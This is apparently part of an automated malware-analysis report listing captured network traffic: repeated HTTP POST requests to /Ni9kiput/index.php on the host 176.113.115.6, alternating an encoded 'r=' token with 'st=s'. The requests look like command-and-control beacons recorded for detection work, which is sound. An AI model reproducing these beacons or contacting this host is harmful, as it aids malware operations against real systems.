Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
